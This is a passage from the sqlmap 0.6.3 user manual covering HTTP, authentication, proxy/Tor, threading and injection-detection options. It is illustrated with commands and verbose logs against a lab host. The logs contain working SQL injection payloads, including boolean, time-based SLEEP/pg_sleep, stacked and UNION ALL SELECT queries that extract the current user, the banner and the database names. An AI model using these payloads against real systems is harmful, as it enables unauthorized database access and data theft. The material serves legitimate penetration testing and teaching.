[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
Connection: close
[...]
Note that the HTTP User-Agent header is tested against SQL
injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
Some sites perform a server-side check on the HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent is
not provided, its value is not expected or its value is blocked by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
Option: --headers
It is possible to provide extra HTTP headers by providing --headers
options. Each header must be separated by a "\n" string and it's much easier
to provide them from the configuration INI file. Have a look at the sample
sqlmap.conf file.
Basic and Digest authenticationsOptions: --auth-type and --auth-cred
These options can be used to specify which HTTP authentication type the
web server implements and the valid credentials to be used to perfom all
HTTP requests to the target URL.
The two valid types are Basic and Digest and the
credentials' syntax is username:password.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass" -v 3
[...]
[hh:mm:14] [INFO] testing connection to the target url
[hh:mm:14] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \
--auth-type Digest --auth-cred "testuser:testpass" -v 3
[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Digest username="testuser", realm="Testing digest authentication",
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the
HTTP requests to the target URL. The syntax of HTTP proxy value is
http://url:port.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:3128"
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:8118"
Note that 8118 is the default Privoxy port, adapt it to your
settings.
Option: --threads
It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
--current-user --threads 3
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[hh:mm:18] [INFO] fetching current user
[hh:mm:18] [INFO] retrieving the length of query output
[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32))
[hh:mm:18] [INFO] retrieved: 18
[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32))
[hh:mm:19] [INFO] starting 3 threads
[hh:mm:19] [INFO] retrieved: testuser@localhost
[hh:mm:19] [INFO] performed 126 queries in 0 seconds
current user: 'testuser@localhost'
As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after up to seven HTTP requests, the maximum requests to retrieve a query output character with the blind SQL injection bisection algorithm implemented in sqlmap.
Note that the multithreading option is not needed if the target is affected
by an inband SQL injection vulnerability and the --union-use
option has been provided.
Option: --delay
It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5 means half a second.
Option: --timeout
It is possible to specify a number of seconds to wait before considering the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.
These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.
Option: -p
By default sqlmap tests all GET parameters, POST
parameters, HTTP Cookie header values and HTTP User-Agent
header value for dynamicity and SQL injection vulnerability, but it is
possible to manually specificy the parameter(s) you want sqlmap to perform
tests on comma separeted in order to skip dynamicity tests and perform SQL
injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
-p "id"
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
Or, if you want to provide more than one parameter, for instance:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
-p "cat,id"
You can also test only the HTTP User-Agent header.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
-p "user-agent" --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] performed 20 queries in 0 seconds
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Option: --dbms
By default sqlmap automatically detects the web application's back-end database manangement system. At the moment the fully supported database management system are four:
It is possible to force the name if you already know it so that sqlmap
will skip the fingerprint with an exception for MySQL to only identify if
it is MySQL < 5.0 or MySQL >= 5.0.
To avoid also this check you can provide instead MySQL 4 or
MySQL 5.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \
--dbms "PostgreSQL"
[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
In case you provide --fingerprint together with --dbms,
sqlmap will only perform the extensive fingerprint for the specified
database management system, read below for further details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
-p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes on real world application it is necessary to provide a custom injection payload.
Options: --string and --regexp
By default the distinction of a True query by a False one (basic concept for Inferential Blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not injected page and on all True injected query pages, but that it is not on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
-v 5
[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996190</p>
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>
[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
the user's manual paragraph 'Page comparison' for details
As you can see, the string after Dynamic content changes its
value every second. In the example it is just a call to PHP
time() function, but on the real world it is usually much more
than that.
Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all.
So choosing for instance the word luther as an output that is
on the not injected page content and it is not on the False page content
(because the query condition returns no output so luther is not
displayed on the page content) and passing it to sqlmap, you are able to
inject anyway.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
--string "luther" -v 1
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
You can also specify a regular expression to match rather than a string if you prefer.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
--regexp "<td>lu[\w][\w]er" -v 1
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
As you can see, when one of these options is specified, sqlmap skips the URL stability test.
Consider one of these options a must when you are dealing with a page which content that changes itself at each refresh without modifying the user's input.
Options: --excl-str and --excl-reg
Another way to get around the dynamicity issue above explained is to exclude the dynamic part from the page content before processing it.
As you see in the above example the number after Dynamic content:
was dynamic and changed each second. To get around of this problem we could
use the above explained page comparison options or exclude this snippet of
dynamic text from the page before processing it and comparing it with the
not injected page.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
--excl-reg "Dynamic content: ([\d]+)"
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
As you can see, when this options is specified, sqlmap skips the URL stability test.
Option: --stacked-test
It is possible to test if the web application technology supports stacked queries, multiple statements, on the injectable parameter.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--stacked-test -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
stacked queries support: None
By default PHP builtin function mysql_query() does not support
multiple statements.
Multiple statements is a feature supported by default only by some
web application technologies in relation to the back-end database
management system. For instance, as you can see from the next example,
where PHP does not support them on MySQL, it does on PostgreSQL.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--stacked-test -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
Option: --time-test
It is possible to test if the target URL is affected by a Time based blind SQL injection vulnerability.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--time-test -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
with AND condition syntax
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--time-test -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
injection with AND condition syntax
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
query syntax
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
with stacked query syntax
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
Option: --union-test
It is possible to test if the target URL is affected by an inband SQL injection vulnerability. Refer to the Techniques section for details on this SQL injection technique.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
--union-test -v 1
[...]
back-end DBMS: Oracle
[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 5601=5601'
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
--union-test -v 1
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:29] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL,
NULL, NULL-- AND 'iBEMR'='iBEMR'
As you can see, the target URL parameter id might be also
affected by an inband SQL injection.
In case this vulnerability is exploitable it is strongly recommended to
use this technique which saves a lot of time.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
the target URL is affected by an inband SQL injection
(--union-test) vulnerability then, in case it seems to be
vulnerable, it will confirm that the parameter is affected by a Full
UNION query SQL injection and use this technique to go ahead with the
exploiting.
If the confirmation fails, it will check if the parameter is affected by
a Partial UNION query SQL injection, then use it to go ahead if it
is vulnerable.
In case the inband SQL injection vulnerability is not exploitable, sqlmap
will automatically fallback on the blind SQL injection technique to go
ahead.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \
--union-use --banner
[...]
back-end DBMS: Microsoft SQL Server 2000
[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
[hh:mm:42] [INFO] performed 3 queries in 0 seconds
banner:
---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
As you can see, the vulnerable parameter (id) is affected by both
blind SQL injection and exploitable full inband SQL injection
vulnerabilities.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
--union-use --current-user
[...]
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
injection vulnerability
[hh:mm:29] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
NULL# AND 8032=8032
[hh:mm:29] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
%208032=8032 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 194
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
</table>
</body></html>
[hh:mm:29] [INFO] performed 3 queries in 0 seconds
current user: 'testuser@localhost'
As you can see, the MySQL CURRENT_USER() function (--current-user)
output is nested, inband, within the HTTP response page, this makes the
inband SQL injection exploited.
In case the inband SQL injection is not fully exploitable, sqlmap will
check if it is partially exploitable: this occurs if the query output
is not parsed within a for, or similar, cycle but only the first
entry is displayed in the page content.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
--union-use --dbs
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:56] [INFO] fetching database names
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
vulnerability
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
FROM information_schema.SCHEMATA# AND 1062=1062
[hh:mm:56] [INFO] performed 6 queries in 0 seconds
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
[hh:mm:56] [INFO] performed 7 queries in 0 seconds
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
[hh:mm:56] [INFO] performed 8 queries in 0 seconds
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
[hh:mm:56] [INFO] performed 9 queries in 0 seconds
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
